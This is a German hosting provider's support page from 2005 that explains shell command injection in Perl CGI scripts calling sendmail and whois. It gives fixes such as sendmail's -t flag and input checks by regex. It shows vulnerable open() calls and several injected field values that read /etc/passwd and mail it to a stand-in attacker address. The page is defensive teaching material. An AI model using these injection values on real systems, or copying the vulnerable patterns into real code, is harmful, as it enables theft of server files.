CreativeNet Service GmbH
SucheSitemapKontaktverzeichnisallgemeine Geschäftsbedingungen HomeProdukteSupportResellerBestellung
SUPPORT » Webspacehelp » CGI » Sicherheit 
CGI
   
   
Installation
   
Sicherheit ]
   
Library
   
   
Support
   
Webspace ]
   
virtuelle Server
   
Bookmark this Site
   
Tell a friend

CGI Sicherheitsaspekte
Ein allgemeines Problem mit freien CGIs ist, dass diese potentielle Sicherheitslücken enthalten können, die von fremden Personen missbraucht werden können. So könnte ein Potentieller Angreifer ein Skript dazu bringen, Shell-Kommandos zur Ausführung zu bringen. Alle Kommandos werden mit den Rechten ausgeführt, die Sie auf dem Server haben. Das Problem liegt in der Schreibweise des Programms und nicht in der Sicherheit des Servers.

Wir möchten Sie eindringlich bitten, von Dritten bezogende Skripts einer eingehenden Prüfung zu unterziehen.

Ein besonderes Augenmerk sollten Sie auf die Abschnitte eines Skriptes legen, in denen ein Datei-Handle zu einem anderen ausführbaren Programm, wie einem Mailprogramm geöffnet wird. Sobald die Datei-Handles mit vom User eingegebenen Parametern bzw. Daten arbeiten sollten Sie sicherstellen, dass diese Daten vor einer Verwendung im Skript geprüft und für unschädlich befunden wurden.

Verwundbarkeiten
Sie verwenden z.B. ein Skript, welches vom Nutzer eingegebene Daten als eMail verpackt und an einen Nutzer versendet. Das sieht dann vielleicht wie folgt aus:

open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'email_address'}\n";
.
.
.
close(MAIL);

Der verwendete Code kann für eine Attacke mißbraucht werden. Durch die Verwendung eines Eingabewertes für den recipient (Empfänger)wie den Folgenden ist es möglich, die Passwortdatei des Servers zu lesen:

some@email.address; cat /etc/passwd | mail attacker@email.address

oder

some@email.address && mail attacker@email.address < /etc/passwd

Der einfachste Weg, einen solchen Angriff zu vermeiden ist, vom Nutzer übergebene Daten von solchen Eröffnungskommandos fernzuhalten. Das Programm Sendmail verwendet einen nützlichen Parameter, "-t", welches sendmail anweist, die Empfängerdaten wie to, bc, und bcc zwingend aus dem Mitteilungs-Header zu lesen. Anstelle von:

open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");

verwenden Sie

open (MAIL, "|/bin/sendmail -t");

Ein anderer möglicher Angriffspunkt kann entstehen, wenn ein Skript externe Programme ausführt. Verwenden Sie z.B. ein Skript, welches für einen vom Nutzer übergebenen Domainnamen die Verfügbarkeit mittels whois prüft, so könnte dieses Skript eine Zeile wie diese enthalten:

open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");

Der verwendete Code kann für eine Attacke mißbraucht werden. Dieses kann durch die Verwendung des folgenden Wertes für domain_name erreicht werden:

domain.name; cat /etc/passwd | mail attacker@email.address

oder

domain.name && mail attacker@email.address < /etc/passwd

Abfangen und Prüfung der Eingaben
Der beste Weg, diese Angriffe abzuwehren, ist den Code einer Prüfung zu unterziehen. Die Überprüfung der eingegebenrn Werte vor Ausführung könnte alle nicht notwendigen Zeichen eleminieren. So würde es im obigen Beispiel sehr sinnvoll sein, die Variable domain_name gegen eine Auswahl von zulässigen Zeichen zu prüfen. Dieses kann mit ein paar Zeilen Perl-Code realisiert werden:

if ($user_supplied_data{'domain_name'} =~ /[^A-Za-z0-9\.\-]/) {
print "Content-type: text/plain\n\n";
print "Uh... you entered an invalid domain name.";
exit(0);
}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
.
.
.
close(MAIL);

Alle in unserer CGI-Library bereitgestellten Skripts verwenden derartige Prüfungsmethoden. Wir können allerdings keine Garantie für die Sicherheit dieser Skripts übernehmen. Mögliche Probleme wurden geprüft und teilweise korrigiert.

Andere Quellen
Weitere Informationen über Sicherheitsaspekte von CGI-Programmen inklusive Beispielen für besondere Programmiertechniken finden Sie unter folgenden URLs:


 


 
Copyright © 1996-2005 CreativeNet Service GmbH. Alle rechte vorbehalten.
Letzte Änderung: Friday, 15-Apr-2005 12:53:51 UTC
 
HomeProdukteSupportResellerBestellungKontaktImpressum